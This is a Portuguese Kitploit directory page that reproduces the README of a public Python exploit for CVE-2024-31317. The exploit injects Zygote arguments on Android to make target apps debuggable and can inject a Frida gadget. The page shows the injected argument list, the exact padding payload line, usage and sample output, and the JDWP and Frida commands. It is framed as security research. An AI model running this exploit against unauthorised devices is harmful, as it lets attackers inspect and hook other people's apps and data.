Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit de Aplicação Depurável | Kitploit
Ferramentas/GitHubGitHub/cleov2/debuggable-app-exploit
Segurança AndroidAnálise de VulnerabilidadesExploraçãoFuzzingSegurança MóvelAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit de Aplicação Depurável

Ver Repositório
123há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-31317 Exploit de Aplicativo Depurável

Um exploit baseado em Python para o CVE-2024-31317 (Injeção no Zygote do Android) que torna qualquer aplicativo Android instalado depurável, injetando argumentos maliciosos no zygote através da configuração hidden_api_blacklist_exemptions. Inclui injeção opcional do gadget do Frida para hooking em tempo de execução.

Visão Geral

Este exploit aproveita uma vulnerabilidade de injeção de comandos no processo Zygote do Android para iniciar aplicativos alvo com a flag debuggable ativada. Isso permite depuração JDWP e inspeção de qualquer aplicativo sem precisar de acesso root ou da versão debug do aplicativo.

Baseado na pesquisa de: Análise do CVE-2024-31317 por Flanker

Insight chave: "o campo runtime-flags no ZygoteArguments pode realmente ser usado para ativar o atributo debuggable de um aplicativo."

Funcionalidades

  • Modo de detecção automática - Detecta automaticamente o UID, conjunto de instruções e diretório de dados do aplicativo alvo
  • Injeção de flag debuggable - Define runtime-flags=65535 para ativar a depuração
  • Encaminhamento JDWP - Configura automaticamente o encaminhamento de porta JDWP após o exploit
  • Injeção do gadget do Frida - Opcionalmente injeta o Frida para hooking em tempo de execução via JDWP
  • Breakpoints inteligentes - Usa breakpoints confiáveis que disparam automaticamente sem interação do usuário
  • Instalação automática do app de depuração - Instala o aplicativo auxiliar se não estiver presente

Requisitos

  • Dispositivo Android vulnerável ao CVE-2024-31317 (patch de segurança anterior a junho de 2024)
  • ADB instalado e depuração USB ativada
  • Python 3.10+
  • Pacotes necessários: ppadb, jdwplib

Instalação

Coloque os seguintes arquivos no mesmo diretório:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Script principal do exploit
├── jdwplib.py                       # Biblioteca cliente JDWP
├── app-debug.apk                    # Aplicativo auxiliar depurável
├── frida-gadget-android-*.so        # Gadget do Frida (opcional)
├── frida-gadget.config.so           # Config do Frida (opcional)
└── win32/adb.exe                    # Binário ADB para Windows

Uso

Uso Básico

root@kitploit:~
python CVE-2024-31317-Debuggable.py

O script solicitará que você selecione um modo de detecção de parâmetros:

root@kitploit:~
==================================================
  Exploit CVE-2024-31317
==================================================

[1] Detectar parâmetros automaticamente
[2] Valores fixos

Modo (1/2) [1]:

O que Ele Faz

  1. Fase 1: Extrair startSeq

    • Inicia um aplicativo auxiliar depurável
    • Conecta via JDWP e extrai o valor startSeq dos frames da pilha
    • Fecha o aplicativo auxiliar
  2. Fase 2: Injetar Argumentos do Zygote

    • Constrói argumentos maliciosos do zygote com runtime-flags=65535 (depurável)
    • Injeta o payload na configuração hidden_api_blacklist_exemptions
    • Força a parada e reinicia o aplicativo alvo com os argumentos injetados
  3. Fase 3: Pós-Exploração

    • Configura o encaminhamento de porta JDWP
    • Opcionalmente injeta o gadget do Frida para hooking em tempo de execução

Exemplo de Saída

root@kitploit:~
==================================================
  Exploit CVE-2024-31317
==================================================

[1] Detectar parâmetros automaticamente
[2] Valores fixos

Modo (1/2) [1]: 1

[INFO] Fase 1: Extrair startSeq
[INFO] com.debug.app já instalado
[INFO] Definindo depurável
[INFO] Iniciando com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Porta JDWP: 8700
[INFO] Suspender VM
[INFO] Escaneando 42 frames
[INFO] startSeq: 123456
[INFO] Fase 2: Explorar com.debug.configurator
[INFO] Detectando parâmetros para com.debug.configurator
[INFO] UID: 10242
[INFO] Arq: arm64
[INFO] Dados: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Reiniciando alvo
[INFO] Pronto
[INFO] PID alvo: 23456
[INFO] JDWP: 8701

Injetar Frida? (s/N):

Configuração

Aplicativo Alvo

Edite as constantes no início do script:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Altere para o seu pacote alvo
DEBUG_APP = "com.debug.app"            # Aplicativo auxiliar depurável
DEBUG_APK = "app-debug.apk"            # Arquivo APK do aplicativo auxiliar

Detecção Automática vs. Valores Fixos

Modo de detecção automática (recomendado):

  • Usa pm list packages -U para obter o UID
  • Usa dumpsys package para obter o conjunto de instruções e diretório de dados
  • Mais confiável em diferentes dispositivos

Modo de valores fixos:

  • Usa valores padrão (UID=10242, arm64, etc.)
  • Mais rápido, mas menos confiável se o dispositivo diferir dos padrões

Injeção do Gadget do Frida

Após o exploit ter sucesso, você pode opcionalmente injetar o gadget do Frida:

root@kitploit:~
Injetar Frida? (s/N): s

O script irá:

  1. Enviar frida-gadget.so para /data/local/tmp/
  2. Copiar para o diretório de dados do aplicativo via run-as
  3. Definir um breakpoint e carregar o gadget via JDWP
  4. Encaminhar as portas 27042 e 27043

Alvos de Breakpoint

O script tenta estes breakpoints em ordem de confiabilidade:

Os breakpoints superiores devem disparar automaticamente. Se eles expirarem, toque no aplicativo para acionar os breakpoints de fallback.

Conectando ao Frida

Após a injeção bem-sucedida:

root@kitploit:~
# Conectar ao gadget
frida -H 127.0.0.1:27042 -n Gadget

# Listar processos
frida-ps -H 127.0.0.1:27042

Após a Exploração

Assim que o exploit for bem-sucedido, o aplicativo alvo estará executando com depuração ativada:

  1. Conectar com depurador JDWP:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Usar depurador do Android Studio - Anexar ao processo na porta encaminhada

  3. Usar Frida - Se o gadget foi injetado pelo script

Como Funciona

Visão Geral da Vulnerabilidade

CVE-2024-31317 é uma vulnerabilidade de injeção de comandos no processo Zygote do Android. Ao manipular a configuração do sistema hidden_api_blacklist_exemptions com entrada especialmente criada, podemos injetar argumentos arbitrários do zygote quando um aplicativo é iniciado.

Componentes Chave

  1. Extração do startSeq: Cada inicialização de aplicativo tem um número de sequência único. Nós extraímos isso de um aplicativo depurável via JDWP, inspecionando variáveis de frame da pilha.

  2. Construção do Payload: Construímos argumentos do zygote incluindo:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Ativa todas as flags de depuração
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Injeção: O payload é injetado na configuração do sistema com preenchimento específico para Android 12+:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Disparo: Forçar a parada e reiniciar o aplicativo alvo, que é iniciado com nossos argumentos injetados e a flag debuggable ativada.

Injeção do Frida via JDWP

A injeção do Frida funciona:

  1. Conectando ao aplicativo depurável via JDWP
  2. Definindo um breakpoint em um método chamado com frequência
  3. Quando o breakpoint é atingido, usando Runtime.load() para carregar a biblioteca compartilhada do gadget do Frida
  4. O gadget inicializa e começa a escutar na porta 27042

Limitações

  • Funciona apenas em dispositivos vulneráveis ao CVE-2024-31317 (patch de segurança anterior a junho de 2024)
  • Não é um exploit de root - apenas fornece acesso depurável ao aplicativo alvo
  • A injeção do Frida requer que o aplicativo esteja em execução e atingindo breakpoints
  • Alguns aplicativos fortemente ofuscados podem resistir ao hooking do Frida

Solução de Problemas

"Falha ao obter startSeq"

  • Certifique-se de que o aplicativo de depuração está devidamente assinado e instalável
  • Tente executar o exploit novamente

"Nenhum breakpoint atingido" durante a injeção do Frida

  • Toque no aplicativo para acionar breakpoints de toque/desenho
  • Certifique-se de que o aplicativo está em primeiro plano

Conexão do Frida recusada

  • Verifique o encaminhamento de porta: adb forward --list
  • Re-executar o encaminhamento de porta: adb forward tcp:27042 tcp:27042

Créditos

  • Flanker (flanker017) - Pesquisa original e artigo detalhado sobre CVE-2024-31317
  • typlo - Trechos de código para encontrar startSeq via inspeção JDWP
  • Anonymous941 - Implementação de referência do kit de ferramentas de injeção no zygote
  • Meta X Red Team - Descoberta e divulgação original da vulnerabilidade

Referências

  • Análise Detalhada do CVE-2024-31317 - Flanker
  • Aviso de Segurança da Meta
  • Artigo no InfoSec Writeup
  • Kit de Ferramentas de Injeção no Zygote do Anonymous941
  • Documentação do Frida

Aviso Legal

Esta ferramenta é destinada apenas para fins educacionais e de pesquisa de segurança autorizada. Use-a apenas em dispositivos que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido desta ferramenta.

Licença

Licença MIT - Consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta
ClasseMétodoDisparo
android.os.MessageQueuenextAutomático - o loop principal consulta constantemente
android.os.BinderexecTransactAutomático - qualquer chamada IPC/binder
android.app.ActivityThreadhandleMessageAutomático - manipulador principal do aplicativo
android.os.HandlerdispatchMessageAutomático - despacho de mensagens
android.os.HandlerhandleMessageAutomático - tratamento de mensagens
android.view.ChoreographerdoFrameAutomático - callbacks de frame
android.view.ViewdispatchTouchEventManual - requer toque
android.view.ViewonDrawManual - requer redesenho da UI